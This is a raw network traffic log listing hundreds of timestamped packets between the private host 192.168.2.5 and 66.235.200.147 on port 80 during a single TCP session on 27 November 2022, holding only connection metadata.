Nov 27, 2022 04:36:43.095452070 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095474005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095479012 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095496893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095505953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095521927 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095521927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095537901 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095546961 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095570087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095592022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095592976 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095613956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095617056 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095637083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095644951 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095660925 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095675945 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.095841885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095977068 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.095980883 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096002102 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096028090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096035957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096054077 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096059084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096072912 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096090078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096107006 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096129894 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096153021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096163034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096184969 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096189976 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096211910 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096215963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096240997 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096242905 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096265078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096287966 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096307039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096314907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096333027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096347094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096347094 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096357107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096380949 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096380949 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096395016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096405029 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096416950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096431971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096455097 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096456051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096477985 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096481085 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096498966 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096508026 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096530914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096532106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096558094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096581936 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096606016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096625090 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096647978 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096648932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096673012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096697092 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096720934 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096721888 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096745014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096749067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096770048 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096771955 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096796989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096801996 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096816063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096832991 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096849918 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096868038 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096884012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096899986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096916914 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096925974 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.096935034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096952915 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096968889 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.096987009 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097003937 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097019911 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097035885 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097053051 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097069025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097086906 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097104073 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097120047 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097137928 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097155094 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097172022 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097188950 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097206116 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097223043 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097239971 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097258091 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097275019 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097291946 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097307920 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097326994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097345114 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097361088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097378016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097393990 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097410917 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097429037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097445965 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097462893 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097480059 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097496986 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097515106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097533941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097551107 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097568035 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097584963 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097601891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097620964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097636938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097654104 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097670078 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097687960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097706079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097722054 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097738981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097754955 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097771883 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097790003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097806931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097824097 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097841024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097856998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097872972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097889900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097906113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097923040 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097939014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097955942 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097971916 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.097989082 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098005056 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098021984 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098037958 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098054886 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098071098 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098105907 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098124027 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098141909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098160028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098176003 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098193884 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098211050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098227024 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098243952 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098261118 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098278046 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098294020 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098310947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098326921 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098345041 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098361969 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098378897 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098396063 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098413944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098443031 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098460913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098470926 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.098479033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098494053 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.098503113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098520994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098536968 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098539114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.098555088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098573923 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098597050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098617077 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.098623037 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098648071 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098670959 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098694086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098716974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098736048 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.098742008 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098750114 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.098766088 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098789930 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098814964 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098833084 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.098839998 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098858118 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.098864079 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098902941 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098922968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.098922968 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.098926067 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098949909 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098953009 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.098973989 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.098977089 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099005938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099014997 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099030972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099047899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099049091 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099056005 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099080086 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099087954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099101067 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099112988 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099128962 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099138021 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099159956 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099185944 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099205017 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099211931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099230051 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099231005 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099236012 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099247932 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099261045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099284887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099308014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099330902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099354982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099361897 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099380016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099405050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099412918 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099427938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099443913 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099452972 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099474907 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099477053 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099489927 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099502087 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099509954 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099524021 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099526882 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099550962 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099554062 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099574089 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099577904 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099597931 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099605083 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099621058 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099631071 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099643946 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099647045 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099670887 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099672079 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099694014 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099694967 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099716902 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099720001 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099740028 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099740028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099765062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099766016 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099788904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099793911 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099813938 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099819899 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099833965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099839926 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099863052 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099864960 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099889994 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099889994 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099915981 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099917889 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099935055 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099939108 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099962950 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099963903 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.099987030 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.099989891 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100011110 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100016117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100035906 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100040913 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100064039 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100066900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100087881 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100095034 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100112915 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100126982 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100143909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100152016 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100174904 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100176096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100198030 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100203037 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100219965 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100222111 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100245953 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100245953 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100270033 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100275040 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100292921 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100294113 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100317001 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100318909 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100339890 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100344896 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100363970 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100364923 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100388050 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100389957 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100406885 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100413084 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100435972 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100440025 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100464106 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100464106 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100487947 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100490093 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100511074 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100512028 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100537062 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100537062 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100562096 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100563049 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100586891 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100588083 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100610018 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100613117 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100639105 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100652933 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100663900 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100673914 CET	49705	80	192.168.2.5	66.235.200.147
Nov 27, 2022 04:36:43.100682974 CET	80	49705	66.235.200.147	192.168.2.5
Nov 27, 2022 04:36:43.100701094 CET	80	49705	66.235.200.147	192.168.2.5
